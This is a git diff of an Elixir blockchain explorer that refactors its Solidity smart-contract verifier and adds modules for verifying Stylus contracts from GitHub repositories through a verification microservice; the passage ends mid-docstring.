b/apps/explorer/lib/explorer/smart_contract/solidity/verifier.ex index 64ed84aa67da..ca3b3eecc00f 100644 --- a/apps/explorer/lib/explorer/smart_contract/solidity/verifier.ex +++ b/apps/explorer/lib/explorer/smart_contract/solidity/verifier.ex @@ -8,8 +8,18 @@ defmodule Explorer.SmartContract.Solidity.Verifier do then Verified. """ + import Explorer.SmartContract.Helper, + only: [ + cast_libraries: 1, + fetch_data_for_verification: 1, + prepare_bytecode_for_microservice: 3 + ] + + import Explorer.Helper, only: [parse_boolean: 1] + alias ABI.{FunctionSelector, TypeDecoder} alias Explorer.Chain + alias Explorer.Chain.{Data, Hash, SmartContract} alias Explorer.SmartContract.RustVerifierInterface alias Explorer.SmartContract.Solidity.CodeCompiler @@ -17,7 +27,7 @@ defmodule Explorer.SmartContract.Solidity.Verifier do @bytecode_hash_options ["default", "none", "bzzr1"] - def evaluate_authenticity(_, %{"name" => ""}), do: {:error, :name} + @optimization_runs 200 def evaluate_authenticity(_, %{"contract_source_code" => ""}), do: {:error, :contract_source_code} @@ -30,59 +40,65 @@ defmodule Explorer.SmartContract.Solidity.Verifier do Logger.error(fn -> [ "Error while verifying smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}: ", - Exception.format(:error, exception) + Exception.format(:error, exception, __STACKTRACE__) ] end) end end - def evaluate_authenticity_inner(true, address_hash, params) do - deployed_bytecode = Chain.smart_contract_bytecode(address_hash) - - creation_tx_input = - case Chain.smart_contract_creation_tx_bytecode(address_hash) do - %{init: init, created_contract_code: _created_contract_code} -> - init - - _ -> - "" - end - - params - |> Map.put("creation_bytecode", creation_tx_input) - |> Map.put("deployed_bytecode", deployed_bytecode) - |> Map.put("sources", %{"#{params["name"]}.sol" => params["contract_source_code"]}) - |> Map.put("contract_libraries", params["external_libraries"]) - |> Map.put("optimization_runs", prepare_optimization_runs(params["optimization"], params["optimization_runs"])) - |> RustVerifierInterface.verify_multi_part() + defp evaluate_authenticity_inner(true, address_hash, params) do + {creation_transaction_input, deployed_bytecode, verifier_metadata} = fetch_data_for_verification(address_hash) + + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, deployed_bytecode) + |> Map.put("sourceFiles", %{ + "#{params["name"]}.#{smart_contract_source_file_extension(parse_boolean(params["is_yul"]))}" => + params["contract_source_code"] + }) + |> Map.put("libraries", params["external_libraries"]) + |> Map.put("optimizationRuns", prepare_optimization_runs(params["optimization"], params["optimization_runs"])) + |> Map.put("evmVersion", Map.get(params, "evm_version", "default")) + |> Map.put("compilerVersion", params["compiler_version"]) + |> RustVerifierInterface.verify_multi_part(verifier_metadata) end - def evaluate_authenticity_inner(false, address_hash, params) do - latest_evm_version = List.last(CodeCompiler.allowed_evm_versions()) - evm_version = Map.get(params, "evm_version", latest_evm_version) + defp evaluate_authenticity_inner(false, address_hash, params) do + if is_nil(params["name"]) or params["name"] == "" do + {:error, :name} + else + latest_evm_version = List.last(CodeCompiler.evm_versions(:solidity)) + evm_version = Map.get(params, "evm_version", latest_evm_version) - all_versions = [evm_version | previous_evm_versions(evm_version)] + all_versions = [evm_version | previous_evm_versions(evm_version)] - all_versions_extra = all_versions ++ [evm_version] + all_versions_extra = all_versions ++ [evm_version] - Enum.reduce_while(all_versions_extra, false, fn version, acc -> - case acc do - {:ok, _} = result -> - {:cont, result} + Enum.reduce_while(all_versions_extra, false, fn version, acc -> + case acc do + {:ok, _} = result -> + {:cont, result} - {:error, error} - when error in [:name, :no_creation_data, :deployed_bytecode, :compiler_version, :constructor_arguments] -> - {:halt, acc} + {:error, error} + when error in [:name, :no_creation_data, :deployed_bytecode, :compiler_version, :constructor_arguments] -> + {:halt, acc} - _ -> - cur_params = Map.put(params, "evm_version", version) - {:cont, verify(address_hash, cur_params)} - end - end) + _ -> + cur_params = Map.put(params, "evm_version", version) + {:cont, verify(address_hash, cur_params)} + end + end) + end end + defp smart_contract_source_file_extension(true), do: "yul" + defp smart_contract_source_file_extension(_), do: "sol" + defp prepare_optimization_runs(false_, _) when false_ in [false, "false"], do: nil + defp prepare_optimization_runs(true_, runs) when true_ in [true, "true"] and is_number(runs) do + runs + end + defp prepare_optimization_runs(true_, runs) when true_ in [true, "true"] do case Integer.parse(runs) do {runs_integer, ""} -> @@ -106,29 +122,33 @@ defmodule Explorer.SmartContract.Solidity.Verifier do Logger.error(fn -> [ "Error while verifying smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}, json_input: #{inspect(json_input, limit: :infinity, printable_limit: :infinity)}: ", - Exception.format(:error, exception) + Exception.format(:error, exception, __STACKTRACE__) ] end) end end def evaluate_authenticity_via_standard_json_input_inner(true, address_hash, params, json_input) do - deployed_bytecode = Chain.smart_contract_bytecode(address_hash) - - creation_tx_input = - case Chain.smart_contract_creation_tx_bytecode(address_hash) do - %{init: init, created_contract_code: _created_contract_code} -> - init - - _ -> - "" + {creation_transaction_input, deployed_bytecode, verifier_metadata} = fetch_data_for_verification(address_hash) + + verification_params = + if Application.get_env(:explorer, :chain_type) == :zksync do + %{ + "solcCompiler" => params["compiler_version"], + "zkCompiler" => params["zk_compiler_version"], + "constructorArguments" => params["constructor_arguments"] + } + else + %{"compilerVersion" => params["compiler_version"]} end - params - |> Map.put("creation_bytecode", creation_tx_input) - |> Map.put("deployed_bytecode", deployed_bytecode) + verification_params + |> prepare_bytecode_for_microservice(creation_transaction_input, deployed_bytecode) |> Map.put("input", json_input) - |> RustVerifierInterface.verify_standard_json_input() + |> (&if(Application.get_env(:explorer, :chain_type) == :zksync, + do: RustVerifierInterface.zksync_verify_standard_json_input(&1, verifier_metadata), + else: RustVerifierInterface.verify_standard_json_input(&1, verifier_metadata) + )).() end def evaluate_authenticity_via_standard_json_input_inner(false, address_hash, params, json_input) do @@ -136,24 +156,16 @@ defmodule Explorer.SmartContract.Solidity.Verifier do end def evaluate_authenticity_via_multi_part_files(address_hash, params, files) do - deployed_bytecode = Chain.smart_contract_bytecode(address_hash) - - creation_tx_input = - case Chain.smart_contract_creation_tx_bytecode(address_hash) do - %{init: init, created_contract_code: _created_contract_code} -> - init - - _ -> - "" - end - - params - |> Map.put("creation_bytecode", creation_tx_input) - |> Map.put("deployed_bytecode", deployed_bytecode) - |> Map.put("sources", files) - |> Map.put("contract_libraries", params["external_libraries"]) - |> Map.put("optimization_runs", prepare_optimization_runs(params["optimization"], params["optimization_runs"])) - |> RustVerifierInterface.verify_multi_part() + {creation_transaction_input, deployed_bytecode, verifier_metadata} = fetch_data_for_verification(address_hash) + + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, deployed_bytecode) + |> Map.put("sourceFiles", files) + |> Map.put("libraries", params["external_libraries"]) + |> Map.put("optimizationRuns", prepare_optimization_runs(params["optimization"], params["optimization_runs"])) + |> Map.put("evmVersion", Map.get(params, "evm_version", "default")) + |> Map.put("compilerVersion", params["compiler_version"]) + |> RustVerifierInterface.verify_multi_part(verifier_metadata) end defp verify(address_hash, params, json_input) do @@ -199,6 +211,8 @@ defmodule Explorer.SmartContract.Solidity.Verifier do |> Map.put("file_path", file_path) |> Map.put("name", contract_name) |> Map.put("secondary_sources", secondary_sources) + |> Map.put("compiler_settings", map_json_input["settings"]) + |> Map.put("external_libraries", cast_libraries(map_json_input["settings"]["libraries"] || %{})) {:halt, {:ok, verified_data, additional_params}} @@ -219,6 +233,11 @@ defmodule Explorer.SmartContract.Solidity.Verifier do defp extract_settings_from_json(json_input) when is_map(json_input) do %{"enabled" => optimization, "runs" => optimization_runs} = json_input["settings"]["optimizer"] + optimization_runs = + if Application.get_env(:explorer, :chain_type) == :zksync, + do: to_string(optimization_runs), + else: optimization_runs + %{"optimization" => optimization} |> (&if(parse_boolean(optimization), do: Map.put(&1, "optimization_runs", optimization_runs), else: &1)).() end @@ -231,8 +250,8 @@ defmodule Explorer.SmartContract.Solidity.Verifier do external_libraries = Map.get(params, "external_libraries", %{}) constructor_arguments = Map.get(params, "constructor_arguments", "") evm_version = Map.get(params, "evm_version") - optimization_runs = Map.get(params, "optimization_runs", 200) - autodetect_constructor_arguments = params |> Map.get("autodetect_constructor_args", "false") |> parse_boolean() + optimization_runs = Map.get(params, "optimization_runs", @optimization_runs) + autodetect_constructor_arguments = params |> Map.get("autodetect_constructor_args", "true") |> parse_boolean() if is_compiler_version_at_least_0_6_0?(compiler_version) do Enum.reduce_while(@bytecode_hash_options, false, fn option, acc -> @@ -290,18 +309,22 @@ defmodule Explorer.SmartContract.Solidity.Verifier do defp is_compiler_version_at_least_0_6_0?("latest"), do: true defp is_compiler_version_at_least_0_6_0?(compiler_version) do - [version, _] = compiler_version |> String.split("+", parts: 2) - - digits = - version - |> String.replace("v", "") - |> String.split(".") - |> Enum.map(fn str -> - {num, _} = Integer.parse(str) - num - end) + case compiler_version |> String.split("+", parts: 2) do + [version, _] -> + digits = + version + |> String.replace("v", "") + |> String.split(".") + |> Enum.map(fn str -> + {num, _} = Integer.parse(str) + num + end) + + Enum.fetch!(digits, 0) > 0 || Enum.fetch!(digits, 1) >= 6 - Enum.fetch!(digits, 0) > 0 || Enum.fetch!(digits, 1) >= 6 + _ -> + false + end end defp compare_bytecodes({:error, :name}, _, _, _), do: {:error, :name} @@ -339,8 +362,8 @@ defmodule Explorer.SmartContract.Solidity.Verifier do bc_deployed_bytecode = Chain.smart_contract_bytecode(address_hash) - bc_creation_tx_input = - case Chain.smart_contract_creation_tx_bytecode(address_hash) do + bc_creation_transaction_input = + case Chain.smart_contract_creation_transaction_bytecode(address_hash) do %{init: init, created_contract_code: _created_contract_code} -> "0x" <> init_without_0x = init init_without_0x @@ -351,12 +374,12 @@ defmodule Explorer.SmartContract.Solidity.Verifier do %{ "metadata_hash_with_length" => bc_meta, - "trimmed_bytecode" => bc_creation_tx_input_without_meta, + "trimmed_bytecode" => bc_creation_transaction_input_without_meta, "compiler_version" => solc_bc - } = extract_bytecode_and_metadata_hash(bc_creation_tx_input, bc_deployed_bytecode) + } = extract_bytecode_and_metadata_hash(bc_creation_transaction_input, bc_deployed_bytecode) bc_replaced_local = - String.replace(bc_creation_tx_input_without_meta, local_bytecode_without_meta, "", global: false) + String.replace(bc_creation_transaction_input_without_meta, local_bytecode_without_meta, "", global: false) has_constructor_with_params? = has_constructor_with_params?(abi) @@ -366,16 +389,16 @@ defmodule Explorer.SmartContract.Solidity.Verifier do empty_constructor_arguments = arguments_data == "" or arguments_data == nil cond do - bc_creation_tx_input == "" -> + bc_creation_transaction_input == "" -> {:error, :no_creation_data} - !String.contains?(bc_creation_tx_input, bc_meta) || bc_deployed_bytecode in ["", "0x"] -> + !String.contains?(bc_creation_transaction_input, bc_meta) || bc_deployed_bytecode in ["", "0x"] -> {:error, :deployed_bytecode} solc_local != solc_bc -> {:error, :compiler_version} - !String.contains?(bc_creation_tx_input_without_meta, local_bytecode_without_meta) -> + !String.contains?(bc_creation_transaction_input_without_meta, local_bytecode_without_meta) -> {:error, :generated_bytecode} bc_replaced_local == "" && !has_constructor_with_params? -> @@ -390,15 +413,21 @@ defmodule Explorer.SmartContract.Solidity.Verifier do {:error, :autodetect_constructor_arguments_failed} has_constructor_with_params? && - (empty_constructor_arguments || !String.contains?(bc_creation_tx_input, arguments_data)) -> + (empty_constructor_arguments || !String.contains?(bc_creation_transaction_input, arguments_data)) -> {:error, :constructor_arguments} has_constructor_with_params? && is_constructor_args_valid?.(arguments_data) && (bc_replaced_local == arguments_data || - check_users_constructor_args_validity(bc_creation_tx_input, bytecode, bc_meta, local_meta, arguments_data)) -> + check_users_constructor_args_validity( + bc_creation_transaction_input, + bytecode, + bc_meta, + local_meta, + arguments_data + )) -> {:ok, %{abi: abi, constructor_arguments: arguments_data}} - try_library_verification(local_bytecode_without_meta, bc_creation_tx_input_without_meta) -> + try_library_verification(local_bytecode_without_meta, bc_creation_transaction_input_without_meta) -> {:ok, %{abi: abi}} true -> @@ -407,19 +436,19 @@ defmodule Explorer.SmartContract.Solidity.Verifier do end defp check_users_constructor_args_validity(bc_bytecode, local_bytecode, bc_splitter, local_splitter, user_arguments) do - clear_bc_bytecode = bc_bytecode |> replace_last_occurence(user_arguments) |> replace_last_occurence(bc_splitter) - clear_local_bytecode = replace_last_occurence(local_bytecode, local_splitter) + clear_bc_bytecode = bc_bytecode |> replace_last_occurrence(user_arguments) |> replace_last_occurrence(bc_splitter) + clear_local_bytecode = replace_last_occurrence(local_bytecode, local_splitter) clear_bc_bytecode == clear_local_bytecode end - defp replace_last_occurence(where, what) when is_binary(where) and is_binary(what) do + defp replace_last_occurrence(where, what) when is_binary(where) and is_binary(what) do where |> String.reverse() |> String.replace(String.reverse(what), "", global: false) |> String.reverse() end - defp replace_last_occurence(_, _), do: nil + defp replace_last_occurrence(_, _), do: nil defp parse_constructor_and_return_check_function(abi) do constructor_abi = Enum.find(abi, fn el -> el["type"] == "constructor" && el["inputs"] != [] end) @@ -444,9 +473,9 @@ defmodule Explorer.SmartContract.Solidity.Verifier do defp extract_meta_from_deployed_bytecode(code_unknown_case) do with true <- is_binary(code_unknown_case), code <- String.downcase(code_unknown_case), - last_2_bytes <- code |> String.slice(-4..-1), + last_2_bytes <- code |> String.slice(-4..-1//1), {meta_length, ""} <- last_2_bytes |> Integer.parse(16), - meta <- String.slice(code, (-(meta_length + 2) * 2)..-5) do + meta <- String.slice(code, (-(meta_length + 2) * 2)..-5//1) do {meta, last_2_bytes} else _ -> @@ -494,7 +523,7 @@ defmodule Explorer.SmartContract.Solidity.Verifier do bytecode_without_meta = bytecode - |> replace_last_occurence(meta <> meta_length) + |> replace_last_occurrence(meta <> meta_length) %{ "metadata_hash_with_length" => meta <> meta_length, @@ -504,19 +533,19 @@ defmodule Explorer.SmartContract.Solidity.Verifier do end def previous_evm_versions(current_evm_version) do - index = Enum.find_index(CodeCompiler.allowed_evm_versions(), fn el -> el == current_evm_version end) + index = Enum.find_index(CodeCompiler.evm_versions(:solidity), fn el -> el == current_evm_version end) cond do index == 0 -> [] index == 1 -> - [List.first(CodeCompiler.allowed_evm_versions())] + [List.first(CodeCompiler.evm_versions(:solidity))] true -> [ - Enum.at(CodeCompiler.allowed_evm_versions(), index - 1), - Enum.at(CodeCompiler.allowed_evm_versions(), index - 2) + Enum.at(CodeCompiler.evm_versions(:solidity), index - 1), + Enum.at(CodeCompiler.evm_versions(:solidity), index - 2) ] end end @@ -525,9 +554,52 @@ defmodule Explorer.SmartContract.Solidity.Verifier do Enum.any?(abi, fn el -> el["type"] == "constructor" && el["inputs"] != [] end) end - defp parse_boolean("true"), do: true - defp parse_boolean("false"), do: false + @doc """ + Function tries to parse constructor args from smart contract creation input. + 1. using `extract_meta_from_deployed_bytecode/1` we derive CBOR metadata string + 2. using metadata we split creation_transaction_input and try to decode resulting constructor arguments + 2.1. if we successfully decoded args using constructor's abi, then return constructor args + 2.2 otherwise return nil + """ + @spec parse_constructor_arguments_for_sourcify_contract(Hash.Address.t(), SmartContract.abi()) :: nil | binary + def parse_constructor_arguments_for_sourcify_contract(address_hash, abi) do + parse_constructor_arguments_for_sourcify_contract(address_hash, abi, Chain.smart_contract_bytecode(address_hash)) + end + + @doc """ + Clause for cases when we already can pass deployed bytecode to this function (in order to avoid excessive read DB accesses) + """ + @spec parse_constructor_arguments_for_sourcify_contract( + Hash.Address.t(), + SmartContract.abi(), + binary | Explorer.Chain.Data.t() + ) :: nil | binary + def parse_constructor_arguments_for_sourcify_contract(address_hash, abi, deployed_bytecode) + when is_binary(deployed_bytecode) do + creation_transaction_input = + case Chain.smart_contract_creation_transaction_bytecode(address_hash) do + %{init: init, created_contract_code: _created_contract_code} -> + "0x" <> init_without_0x = init + init_without_0x + + _ -> + nil + end - defp parse_boolean(true), do: true - defp parse_boolean(false), do: false + with true <- has_constructor_with_params?(abi), + check_function <- parse_constructor_and_return_check_function(abi), + false <- is_nil(creation_transaction_input) || deployed_bytecode == "0x", + {meta, meta_length} <- extract_meta_from_deployed_bytecode(deployed_bytecode), + [_bytecode, constructor_args] <- String.split(creation_transaction_input, meta <> meta_length), + ^constructor_args <- check_function.(constructor_args) do + constructor_args + else + _ -> + nil + end + end + + def parse_constructor_arguments_for_sourcify_contract(address_hash, abi, deployed_bytecode) do + parse_constructor_arguments_for_sourcify_contract(address_hash, abi, Data.to_string(deployed_bytecode)) + end end diff --git a/apps/explorer/lib/explorer/smart_contract/stylus/publisher.ex b/apps/explorer/lib/explorer/smart_contract/stylus/publisher.ex new file mode 100644 index 000000000000..59bd673d2575 --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/stylus/publisher.ex @@ -0,0 +1,228 @@ +defmodule Explorer.SmartContract.Stylus.Publisher do + @moduledoc """ + Module responsible for verifying and publishing Stylus smart contracts. + + The verification process includes: + 1. Initiating verification through a microservice that compares GitHub repository + source code against deployed bytecode + 2. Processing the verification response, including ABI and source files + 3. Creating or updating the smart contract record in the database + 4. Handling verification failures by creating invalid changesets with error messages + """ + + require Logger + + alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.Helper + alias Explorer.SmartContract.Stylus.Verifier + + @default_file_name "src/lib.rs" + + @sc_verification_via_github_repository_started "Smart-contract verification via Github repository started" + + @doc """ + Verifies and publishes a Stylus smart contract using GitHub repository source code. + + Initiates verification of a contract through the verification microservice. On + successful verification, processes and stores the contract details in the + database. On failure, creates an invalid changeset with appropriate error + messages. + + ## Parameters + - `address_hash`: The contract's address hash as binary or `t:Explorer.Chain.Hash.t/0` + - `params`: Map containing verification parameters: + - `"cargo_stylus_version"`: Version of cargo-stylus used for deployment + - `"repository_url"`: GitHub repository URL containing contract code + - `"commit"`: Git commit hash used for deployment + - `"path_prefix"`: Optional path prefix if contract is not in repository root + + ## Returns + - `{:ok, smart_contract}` if verification and database storage succeed + - `{:error, changeset}` if verification fails or there are validation errors + """ + @spec publish(binary() | Explorer.Chain.Hash.t(), %{String.t() => any()}) :: + {:error, Ecto.Changeset.t()} | {:ok, Explorer.Chain.SmartContract.t()} + def publish(address_hash, params) do + Logger.info(@sc_verification_via_github_repository_started) + + case Verifier.evaluate_authenticity(address_hash, params) do + { + :ok, + %{ + "abi" => _, + "cargo_stylus_version" => _, + "contract_name" => _, + "files" => _, + "package_name" => _, + "github_repository_metadata" => _ + } = result_params + } -> + process_verifier_response(result_params, address_hash) + + {:error, error} -> + {:error, unverified_smart_contract(address_hash, params, error, nil)} + + _ -> + {:error, unverified_smart_contract(address_hash, params, "Unexpected error", nil)} + end + end + + # Processes successful Stylus contract verification response and stores contract data. + # + # Takes the verification response from `evaluate_authenticity/2` containing verified contract + # details and prepares them for storage in the database. The main source file is extracted + # from `files` map using the default filename, while other files are stored as secondary + # sources. + # + # ## Parameters + # - `response`: Verification response map containing: + # - `abi`: Contract ABI as JSON string + # - `cargo_stylus_version`: Version of cargo-stylus used + # - `contract_name`: Name of the contract + # - `files`: Map of file paths to source code contents + # - `package_name`: Package name of the contract + # - `github_repository_metadata`: Repository metadata + # - `address_hash`: The contract's address hash as binary or `t:Explorer.Chain.Hash.t/0` + # + # ## Returns + # - `{:ok, smart_contract}` if database storage succeeds + # - `{:error, changeset}` if there are validation errors + # - `{:error, message}` if the database operation fails + @spec process_verifier_response(%{String.t() => any()}, binary() | Explorer.Chain.Hash.t()) :: + {:ok, Explorer.Chain.SmartContract.t()} | {:error, Ecto.Changeset.t() | String.t()} + defp process_verifier_response( + %{ + "abi" => abi_string, + "cargo_stylus_version" => cargo_stylus_version, + "contract_name" => contract_name, + "files" => files, + "package_name" => package_name, + "github_repository_metadata" => github_repository_metadata + }, + address_hash + ) do + secondary_sources = + for {file, code} <- files, + file != @default_file_name, + do: %{"file_name" => file, "contract_source_code" => code, "address_hash" => address_hash} + + contract_source_code = files[@default_file_name] + + prepared_params = + %{} + |> Map.put("compiler_version", cargo_stylus_version) + |> Map.put("contract_source_code", contract_source_code) + |> Map.put("name", contract_name) + |> Map.put("file_path", contract_source_code && @default_file_name) + |> Map.put("secondary_sources", secondary_sources) + |> Map.put("package_name", package_name) + |> Map.put("github_repository_metadata", github_repository_metadata) + + publish_smart_contract(address_hash, prepared_params, Jason.decode!(abi_string || "null")) + end + + # Stores information about a verified Stylus smart contract in the database. + # + # ## Parameters + # - `address_hash`: The contract's address hash as binary or `t:Explorer.Chain.Hash.t/0` + # - `params`: Map containing contract details: + # - `name`: Contract name + # - `file_path`: Path to the contract source file + # - `compiler_version`: Version of the Stylus compiler + # - `contract_source_code`: Source code of the contract + # - `secondary_sources`: Additional source files + # - `package_name`: Package name for Stylus contract + # - `github_repository_metadata`: Repository metadata + # - `abi`: Contract's ABI (Application Binary Interface) + # + # ## Returns + # - `{:ok, smart_contract}` if publishing succeeds + # - `{:error, changeset}` if there are validation errors + # - `{:error, message}` if the database operation fails + @spec publish_smart_contract(binary() | Explorer.Chain.Hash.t(), %{String.t() => any()}, map()) :: + {:error, Ecto.Changeset.t() | String.t()} | {:ok, Explorer.Chain.SmartContract.t()} + defp publish_smart_contract(address_hash, params, abi) do + attrs = address_hash |> attributes(params, abi) + + ok_or_error = SmartContract.create_or_update_smart_contract(address_hash, attrs, false) + + case ok_or_error do + {:ok, _} -> + Logger.info("Stylus smart-contract #{address_hash} successfully published") + + {:error, error} -> + Logger.error("Stylus smart-contract #{address_hash} failed to publish: #{inspect(error)}") + end + + ok_or_error + end + + # Creates an invalid changeset for a Stylus smart contract that failed verification. + # + # Prepares contract attributes with MD5 hash of bytecode and creates an invalid changeset + # with appropriate error messages. The changeset is marked with `:insert` action to + # indicate a failed verification attempt. + # + # ## Parameters + # - `address_hash`: The contract's address hash + # - `params`: Map containing contract details from verification attempt + # - `error`: The verification error that occurred + # - `error_message`: Optional custom error message + # - `verification_with_files?`: Boolean indicating if verification used source files. + # Defaults to `false` + # + # ## Returns + # An invalid `t:Ecto.Changeset.t/0` with: + # - Contract attributes including MD5 hash of bytecode + # - Error message attached to appropriate field + # - Action set to `:insert` + @spec unverified_smart_contract(binary() | Explorer.Chain.Hash.t(), %{String.t() => any()}, any(), any(), boolean()) :: + Ecto.Changeset.t() + defp unverified_smart_contract(address_hash, params, error, error_message, verification_with_files? \\ false) do + attrs = + address_hash + |> attributes(params |> Map.put("compiler_version", params["cargo_stylus_version"])) + |> Helper.add_contract_code_md5() + + changeset = + SmartContract.invalid_contract_changeset( + %SmartContract{address_hash: address_hash}, + attrs, + error, + error_message, + verification_with_files? + ) + + Logger.error("Stylus smart-contract verification #{address_hash} failed because of the error #{inspect(error)}") + + %{changeset | action: :insert} + end + + defp attributes(address_hash, params, abi \\ %{}) do + %{ + address_hash: address_hash, + name: params["name"], + file_path: params["file_path"], + compiler_version: params["compiler_version"], + evm_version: nil, + optimization_runs: nil, + optimization: false, + contract_source_code: params["contract_source_code"], + constructor_arguments: nil, + external_libraries: [], + secondary_sources: params["secondary_sources"], + abi: abi, + verified_via_sourcify: false, + verified_via_eth_bytecode_db: false, + verified_via_verifier_alliance: false, + partially_verified: false, + autodetect_constructor_args: false, + compiler_settings: nil, + license_type: :none, + is_blueprint: false, + language: :stylus_rust, + package_name: params["package_name"], + github_repository_metadata: params["github_repository_metadata"] + } + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/stylus/publisher_worker.ex b/apps/explorer/lib/explorer/smart_contract/stylus/publisher_worker.ex new file mode 100644 index 000000000000..ad5357978cc7 --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/stylus/publisher_worker.ex @@ -0,0 +1,72 @@ +defmodule Explorer.SmartContract.Stylus.PublisherWorker do + @moduledoc """ + Processes Stylus smart contract verification requests asynchronously in the background. + + This module implements a worker that handles verification of Stylus smart contracts + through their GitHub repository source code. It uses a job queue system to: + - Receive verification requests containing contract address and GitHub details + - Delegate verification to the Publisher module + - Broadcast verification results through the events system + """ + + require Logger + + use Que.Worker, concurrency: 5 + + alias Explorer.Chain.Events.Publisher, as: EventsPublisher + alias Explorer.SmartContract.Stylus.Publisher + + @doc """ + Processes a Stylus smart contract verification request. + + Initiates the verification process by broadcasting the verification request to + the module responsible for the actual verification and consequent update of + the database. This function is called automatically by the job queue system. + + ## Parameters + - `{"github_repository", params}`: Tuple containing: + - First element: `"github_repository"` indicating the verification source + - Second element: Map containing: + - `"address_hash"`: The contract's address hash to verify + + ## Returns + - Result of the broadcast operation + """ + @spec perform({binary(), %{String.t() => any()}}) :: any() + def perform({"github_repository", %{"address_hash" => address_hash} = params}) do + broadcast(:publish, address_hash, [address_hash, params]) + end + + # Broadcasts the result of a Stylus smart contract verification attempt. + # + # Executes the specified verification method in the `Publisher` module and + # broadcasts the result through the events publisher. + # + # ## Parameters + # - `method`: The verification method to execute + # - `address_hash`: Contract address + # - `args`: Arguments to pass to the verification method + # + # ## Returns + # - `{:ok, contract}` if verification succeeds + # - `{:error, changeset}` if verification fails + @spec broadcast(atom(), binary() | Explorer.Chain.Hash.t(), any()) :: any() + defp broadcast(method, address_hash, args) do + result = + case apply(Publisher, method, args) do + {:ok, _contract} = result -> + result + + {:error, changeset} -> + Logger.error( + "Stylus smart-contract verification #{address_hash} failed because of the error: #{inspect(changeset)}" + ) + + {:error, changeset} + end + + Logger.info("Smart-contract #{address_hash} verification: broadcast verification results") + + EventsPublisher.broadcast([{:contract_verification_result, {String.downcase(address_hash), result}}], :on_demand) + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/stylus/verifier.ex b/apps/explorer/lib/explorer/smart_contract/stylus/verifier.ex new file mode 100644 index 000000000000..e1f6baebe816 --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/stylus/verifier.ex @@ -0,0 +1,109 @@ +defmodule Explorer.SmartContract.Stylus.Verifier do + @moduledoc """ + Verifies Stylus smart contracts by comparing their source code against deployed bytecode. + + This module handles verification of Stylus smart contracts through their GitHub repository + source code. It interfaces with a verification microservice that: + - Fetches source code from the specified GitHub repository and commit + - Compiles the code using the specified cargo-stylus version + - Compares the resulting bytecode against the deployed contract bytecode + - Returns verification details including ABI and contract metadata + """ + alias EthereumJSONRPC.Utility.CommonHelper + alias Explorer.Chain.{Hash, SmartContract} + alias Explorer.SmartContract.StylusVerifierInterface + + require Logger + + @doc """ + Verifies a Stylus smart contract by comparing source code from a GitHub repository against the deployed bytecode using a verification microservice. + + ## Parameters + - `address_hash`: Contract address + - `params`: Map containing verification parameters: + - `cargo_stylus_version`: Version of cargo-stylus used for deployment + - `repository_url`: GitHub repository URL containing contract code + - `commit`: Git commit hash used for deployment + - `path_prefix`: Optional path prefix if contract is not in repository root + + ## Returns + - `{:ok, map}` with verification details: + - `abi`: Contract ABI (optional) + - `contract_name`: Contract name (optional) + - `package_name`: Package name + - `files`: Map of file paths to contents used in verification + - `cargo_stylus_version`: Version of cargo-stylus used + - `github_repository_metadata`: Repository metadata (optional) + - `{:error, any}` if verification fails or is disabled + """ + @spec evaluate_authenticity(EthereumJSONRPC.address() | Hash.Address.t(), map()) :: + {:ok, map()} | {:error, any()} + def evaluate_authenticity(address_hash, params) do + evaluate_authenticity_inner(StylusVerifierInterface.enabled?(), address_hash, params) + rescue + exception -> + Logger.error(fn -> + [ + "Error while verifying smart-contract address: #{address_hash}, params: #{inspect(params, limit: :infinity, printable_limit: :infinity)}: ", + Exception.format(:error, exception, __STACKTRACE__) + ] + end) + end + + # Verifies the authenticity of a Stylus smart contract using GitHub repository source code. + # + # This function retrieves the contract creation transaction and blockchain RPC endpoint, + # which together with passed parameters are required by the verification microservice to + # validate the contract deployment and verify the source code against the deployed + # bytecode. + # + # ## Parameters + # - `true`: Required boolean flag to proceed with verification + # - `address_hash`: Contract address + # - `params`: Map containing verification parameters + # + # ## Returns + # - `{:ok, map}` with verification details including ABI, contract name, and source files + # - `{:error, any}` if verification fails + @spec evaluate_authenticity_inner(boolean(), EthereumJSONRPC.address() | Hash.Address.t(), map()) :: + {:ok, map()} | {:error, any()} + defp evaluate_authenticity_inner(true, address_hash, params) do + transaction_hash = fetch_data_for_stylus_verification(address_hash) + rpc_endpoint = CommonHelper.get_available_url() + + params + |> Map.take(["cargo_stylus_version", "repository_url", "commit", "path_prefix"]) + |> Map.put("rpc_endpoint", rpc_endpoint) + |> Map.put("deployment_transaction", transaction_hash) + |> StylusVerifierInterface.verify_github_repository() + end + + defp evaluate_authenticity_inner(false, _address_hash, _params) do + {:error, "Stylus verification is disabled"} + end + + # Retrieves the transaction hash that created a Stylus smart contract. + + # Looks up the creation transaction for the given contract address and returns its hash. + # Checks both regular transactions and internal transactions. + + # ## Parameters + # - `address_hash`: The address hash of the smart contract as a binary or `t:Hash.Address.t/0` + + # ## Returns + # - `t:Hash.t/0` - The transaction hash if found + # - `nil` - If no creation transaction exists + @spec fetch_data_for_stylus_verification(binary() | Hash.Address.t()) :: Hash.t() | nil + defp fetch_data_for_stylus_verification(address_hash) do + case SmartContract.creation_transaction_with_bytecode(address_hash) do + %{transaction: transaction} -> + transaction.hash + + %{internal_transaction: internal_transaction} -> + internal_transaction.transaction_hash + + _ -> + nil + end + end +end diff --git a/apps/explorer/lib/explorer/smart_contract/stylus_verifier_interface.ex b/apps/explorer/lib/explorer/smart_contract/stylus_verifier_interface.ex new file mode 100644 index 000000000000..d5ab2ea9db4d --- /dev/null +++ b/apps/explorer/lib/explorer/smart_contract/stylus_verifier_interface.ex @@ -0,0 +1,165 @@ +defmodule Explorer.SmartContract.StylusVerifierInterface do + @moduledoc """ + Provides an interface for verifying Stylus smart contracts by interacting with a verification + microservice. + + Handles verification requests for Stylus contracts deployed from GitHub repositories by + communicating with an external verification service. + """ + alias Explorer.HttpClient + require Logger + + @post_timeout :timer.minutes(5) + @request_error_msg "Error while sending request to stylus verification microservice" + + @doc """ + Verifies a Stylus smart contract using source code from a GitHub repository. + + Sends verification request to the verification microservice with repository details + and 